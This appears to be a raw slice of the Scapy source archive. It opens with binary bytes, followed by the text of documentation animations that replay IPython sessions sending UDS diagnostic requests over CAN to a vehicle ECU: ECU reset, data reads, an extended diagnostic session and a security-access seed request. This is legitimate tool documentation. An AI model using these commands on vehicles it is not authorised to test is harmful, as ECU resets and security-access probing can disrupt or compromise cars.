ŒžçÐéÈHf黹éÉyvP*éõ>öAÌG¹®ÅRvë,íê¡|­Ù®pmOë„?ë¹²o÷ax<³6-šVoeÁ.ðç}ì-Ÿì›ù Úxb?ö-°Å;kÓ[;ùîÕï’uíB(øYýí;üôÜîQûùQï[lˆ\èÒgïhRËîWËòþúïÂOìuÏøÿ`û¥;ðŒœ»þÎSÜÓ&²q–_—.¿ÇÒ–ý…oüÈÿÊ?ò2GÅ—ï´Œ´ÿ_Žxñ8Ÿñ3ßþ¯ño½øŒïN/n´|vÉ w)Od;Êòqá_‘q þDhà›9LC‡n "|qbÂ… ÿ ‹ñ"E’%MžD™RåJ–-]¾„SæLš5mÞÄ™SçNž=}þTèP¢EÊLrTéR¦M>…UêTªU­^ÅšUëV¨P¸~VìX²eÍžE›VíZ°IÙ¾…Wî\ºuíÞÅ›W¨[½}ýþXð`Â…íò5œXñbÆ?†œ×kdÊ•-_ÆœYóf’“£>þÌÖÀhÒ¥MŸFZõéaÀ8¿†[ölÚ\=m]´èÕ½}ÿ.]äZƒÚÅGž\9ÊÛE[‡=úCƒË­_Çž]ûàæ33¢»ø°Ô7tçÖüKRãÁô)~?m|ùóÿ¾£%}õÐÛýÿ0@³BÌ»i\C/´Œ J¥¿$)•ì;=§1½$Ôï7¼©o@G$±Dc*P¦"ÀièÃ5¨;ÈŃr+IB„VlDÿá¸TêÐ7O$²H#Ü.ŘzthPv”ñA“†äÑAêvd=‚T G$¿3L1/S&/+ÒÑɃΤ1 ÏtK›\þ†ËÔÚ3O=÷ä³®2_zÁa.¬n˜ $ÎMŒ*üˆÐƒ²DˆC;Oƒ´OK/Å4Ó«þ|I¡ˆú»oB ׻ϽŠÈCT5«là¾Ð&=mGMg¥µV[{â´&ê`å•×Jo6Xa‡=(Wšd%6Ye—e+c ¬®Yi§¥¶ZŸžµ6[m·å×n¿7\qQ·\sÏ[t×e·ÝK»s7^yç^zïÅ7ßíÕ·_ÿ­M]€&¸`Å68a…ö“a‡†¸áˆ'¦¸b±¤°8c7ŽÊŽ?9äŸj¹d“O~‰d”Wf™e•[†9fŽ_–¹f›¦ùfw8gžþZ^Ÿƒ&ºèq‡6:i¥­%ùW§ç\:j©ûTy˜‘²Ú£¯žºk¯‘|9• );DöÆþ:mµG¤ùüHr;ÚGß^»n»µ£™ ¨õNtÍq ¾;pÁi í³ÍFÏðÁg|³ª¹þò¬§¼òËšüé¾-ç¼sÅöûJ4á¾{M*bˆ@ÙÞ{ï+ ÄŠ!„xA÷e"󻯤FîÇŸéí¿ŸF`!=<à¡…PE(„4Є`R ‰04° –xA a‰nЂ§À  >>> >>> I-search backward: >>> onf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: l >>> load_contrib("automotive.uds") I-search backward: lo >>> load_contrib("automotive.uds") I-search backward: loa >>> load_contrib("automotive.uds") I-search backward: load >>> load_contrib("automotive.uds") >>> load_contrib("automotive.uds") I-search backward: c >>> load_contrib("automotive.uds") I-search backward: co >>> load_contrib("automotive.uds") I-search backward: con >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: conf >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> load_contrib("automotive.uds") I-search backward: load_ >>> load_contrib("automotive.uds") I-search backward: load_c I-search backward: load_co I-search: load_co >>> load_contrib("automotive.uds") >>> load_contrib("automotive.uds") I-search backward: load_cot >>> load_contrib("automotive.uds") I-search backward: load_con >>> load_contrib("automotive.uds") I-search backward: load_cont >>> load_contrib("automotive.uds") I-search backward: load_contr >>> load_contrib("automotive.uds") I-search backward: load_contri >>> load_contrib("automotive.uds") I-search backward: load_contrib >>> load_contrib("automotive.uds") I-search backward: load_contrib( >>> load_contrib("automotive.uds") I-search backward: load_contrib(" >>> load_contrib("isotp") I-search backward: load_contrib("i >>> load_contrib("isotp") INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev709 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> load_contrib("isotp") >>> load_contrib("isotp") I-search backward: s >>> load_contrib("isotp") I-search backward: so >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: soc >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: sock = I-search backward: sock = >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> s >>> so >>> soc >>> sock >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: U >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: UD >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: UDS >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS( >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS() >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS()/ >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS()/U >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS()/UD >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS()/UDS >>> sock.sr1(UDS()/UDS_SA(),verbose=False) I-search backward: UDS()/UDS_ >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) I-search backward: UDS()/UDS_E >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) I-search backward: UDS()/UDS_ER >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x1),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0x),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=0),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType=),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetType),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetTyp),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetTy),verbose=False) >>> sock.sr1(UDS()/UDS_ER(resetT),verbose=False) >>> sock.sr1(UDS()/UDS_ER(reset),verbose=False) >>> sock.sr1(UDS()/UDS_ER(rese),verbose=False) >>> sock.sr1(UDS()/UDS_ER(res),verbose=False) >>> sock.sr1(UDS()/UDS_ER(re),verbose=False) >>> sock.sr1(UDS()/UDS_ER(r),verbose=False) >>> sock.sr1(UDS()/UDS_ER(),verbose=False) >>> sock.sr1(UDS()/UDS_ER(),verbose=False) >>> sock.sr1(UDS()/UDS_E(),verbose=False) >>> sock.sr1(UDS()/UDS_(),verbose=False) >>> sock.sr1(UDS()/UDS_T(),verbose=False) <UDS service=ECUResetPositiveResponse |<UDS_ERPR resetType=hardReset |>> >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_TP(),verbose=False) >>> sock.sr1(UDS()/UDS_R(),verbose=False) >>> sock.sr1(UDS()/UDS_RD(),verbose=False) >>> sock.sr1(UDS()/UDS_RDB(),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(a),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(d),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(da),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(i),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(id),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(ide),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(iden),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(ident),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identi),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identif),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifi),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifie),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifier),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x10),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x100),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000),verbose=False) <UDS service=TesterPresentPositiveResponse |<UDS_TPPR zeroSubFunction=0 |>> >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1000]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x100]),verbose=False) <UDS service=ReadDataByIdentifierPositiveResponse |<UDS_RDBIPR dataIdentifier=0x1000 |<Raw load='\xff\xff\xff' |>>> >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1001]),verbose=False) >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1001]),verbose=False) >>> e >>> ex >>> exi <UDS service=NegativeResponse |<UDS_NRC requestServiceId=ReadDataByIdentifier negativeResponseCode=requestOutOfRange |>>>>> exit >>> exit scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-uds2.svg000077500000000000000000006640141372370053500252010ustar00rootroot00000000000000 >>> >>> I-search backward: >>> load_contrib("isotp") I-search backward: c >>> load_contrib("isotp") I-search backward: co >>> load_contrib("isotp") I-search backward: con >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: conf >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} I-search backward: l >>> load_contrib("isotp") I-search backward: lo >>> load_contrib("isotp") I-search backward: loa >>> load_contrib("isotp") I-search backward: load >>> load_contrib("isotp") I-search backward: load_ >>> load_contrib("isotp") >>> load_contrib("isotp") I-search backward: load_c >>> load_contrib("isotp") I-search backward: load_co >>> load_contrib("isotp") I-search backward: load_con >>> load_contrib("isotp") I-search backward: load_cont >>> load_contrib("isotp") I-search backward: load_contr >>> load_contrib("isotp") I-search backward: load_contri >>> load_contrib("isotp") I-search backward: load_contrib >>> load_contrib("isotp") I-search backward: load_contrib( >>> load_contrib("isotp") I-search backward: load_contrib(" >>> load_contrib("automotive.uds") I-search backward: load_contrib("a >>> load_contrib("automotive.uds") I-search backward: load_contrib("au >>> load_contrib("automotive.uds") INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev709 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Wanna support scapy? Rate it on scccccp///pSP///p p//Y | sectools! sY/////////y caa S//P | http://sectools.org/tool/scapy/ cayCyayP//Ya pY/Ya | -- Satoshi Nakamoto sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True} >>> load_contrib("isotp") >>> load_contrib("automotive.uds") >>> load_contrib("automotive.uds") I-search backward: s >>> load_contrib("isotp") I-search backward: so >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1001]),verbose=False) I-search backward: soc >>> sock.sr1(UDS()/UDS_RDBI(identifiers=[0x1001]),verbose=False) I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: sock >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: sock = >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) I-search backward: sock = >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> l >>> ls >>> ls( >>> ls(U >>> ls(UD >>> ls(UDS >>> ls(UDS_ >>> ls(UDS_S >>> ls(UDS_SA >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> ls(UDS_SA) >>> s >>> so >>> soc >>> sock >>> sock. >>> sock.s >>> sock.sr >>> sock.sr1 >>> sock.sr1( >>> sock.sr1(U >>> sock.sr1(UD >>> sock.sr1(UDS >>> sock.sr1(UDS( >>> sock.sr1(UDS() >>> sock.sr1(UDS()? >>> sock.sr1(UDS()/ >>> sock.sr1(UDS()/U >>> sock.sr1(UDS()/UD >>> sock.sr1(UDS()/UDS >>> sock.sr1(UDS()/UDS( >>> sock.sr1(UDS()/UDS_ >>> sock.sr1(UDS()/UDS_S >>> sock.sr1(UDS()/UDS_SA >>> sock.sr1(UDS()/UDS_SA( >>> sock.sr1(UDS()/UDS_SA(s >>> sock.sr1(UDS()/UDS_SA(se >>> sock.sr1(UDS()/UDS_SA(sec >>> sock.sr1(UDS()/UDS_SA(secu >>> sock.sr1(UDS()/UDS_SA(secur >>> sock.sr1(UDS()/UDS_SA(securi >>> sock.sr1(UDS()/UDS_SA(securit >>> sock.sr1(UDS()/UDS_SA(security >>> sock.sr1(UDS()/UDS_SA(securityA >>> sock.sr1(UDS()/UDS_SA(securityAc >>> sock.sr1(UDS()/UDS_SA(securityAcc >>> sock.sr1(UDS()/UDS_SA(securityAcce >>> sock.sr1(UDS()/UDS_SA(securityAcces >>> sock.sr1(UDS()/UDS_SA(securityAccess >>> sock.sr1(UDS()/UDS_SA(securityAccessT >>> sock.sr1(UDS()/UDS_SA(securityAccessTy >>> sock.sr1(UDS()/UDS_SA(securityAccessTyp >>> sock.sr1(UDS()/UDS_SA(securityAccessType >>> sock.sr1(UDS()/UDS_SA(securityAccessType= >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0 >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3 >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3), >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),v >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),ve >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),ver >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verb >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbo >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbos >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose= >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=F >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=Fa >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=Fal >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=Fale >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=Fals >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False >>> ls(UDS_SA) securityAccessType : ByteField = (0) securityAccessDataRecord : StrField (Cond) = (b'')securityKey : StrField (Cond) = (b'')>>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> ls(UDS_D >>> ls(UDS_DS >>> ls(UDS_DSC <UDS service=NegativeResponse |<UDS_NRC requestServiceId=SecurityAccess negativeResponseCode=serviceNotSupportedInActiveSession |>>>>> ls(UDS_DSC) >>> U >>> UD >>> UDS >>> UDS_ >>> UDS_D >>> UDS_DS >>> UDS_DSC >>> UDS_DSC. >>> UDS_DSC.d >>> ls(UDS_DSC) diagnosticSessionType : ByteEnumField = (0) >>> UDS_DSC.di UDS_DSC.diagnosticSessionTypes UDS_DSC.dissect >>> UDS_DSC.diagnosticSessionTypes UDS_DSC.diagnosticSessionTypes UDS_DSC.dissect UDS_DSC.direction UDS_DSC.dissection_done UDS_DSC.display <unknown> >>> UDS_DSC.diagnosticSessionTypes >>> sock = ISOTPNativeSocket("can0", did=0x610, sid=0x6f1, extended_addr=0x10, extended_rx_addr=0xf1, basecls=UDS) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccesType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAcceType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAccType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAcType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityAType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securityType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securitType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securiType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(securType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(secuType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(secType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(seType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(sType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(Type=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(dType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diaType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnoType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnostType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnostiType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSeType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSesType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSesseType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessiType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessioType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_SA(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_S(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_D(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_DS(diagnosticSessionType=0x3),verbose=False) {0: 'ISOSAEReserved', 1: 'defaultSession', 2: 'programmingSession', 3: 'extendedDiagnosticSession', 4: 'safetySystemDiagnosticSession', 127: 'ISOSAEReserved'}>>> sock.sr1(UDS()/UDS_DSC(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_DSC(diagnosticSessionType=0x3),verbose=False) >>> sock.sr1(UDS()/UDS_DSC(diagnosticSessionType=0x3),verbose=False) <UDS service=DiagnosticSessionControlPositiveResponse |<UDS_DSCPR diagnosticSessionType=extendedDiagnosticSession sessionParameterRecord='\x002\x01\xf4' |>>>>> e >>> ex >>> exi <UDS service=SecurityAccessPositiveResponse |<UDS_SAPR securityAccessType=3 securitySeed='\x1aP\xa8\xea\xaa\xa0\x16\xc6\x06h<\x1aXF\xe0J\x8atD8' |>>>>> exit >>> exit scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-uds3.svg000077500000000000000000010266341372370053500252030ustar00rootroot00000000000000 >>> >>> I-search backward: >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: l >>> load_contrib("automotive.uds") I-search backward: lo >>> load_contrib("automotive.uds") I-search backward: loa >>> load_contrib("automotive.uds") I-search backward: load >>> load_contrib("automotive.uds") >>> load_contrib("automotive.uds") >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00').__repr__() INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs 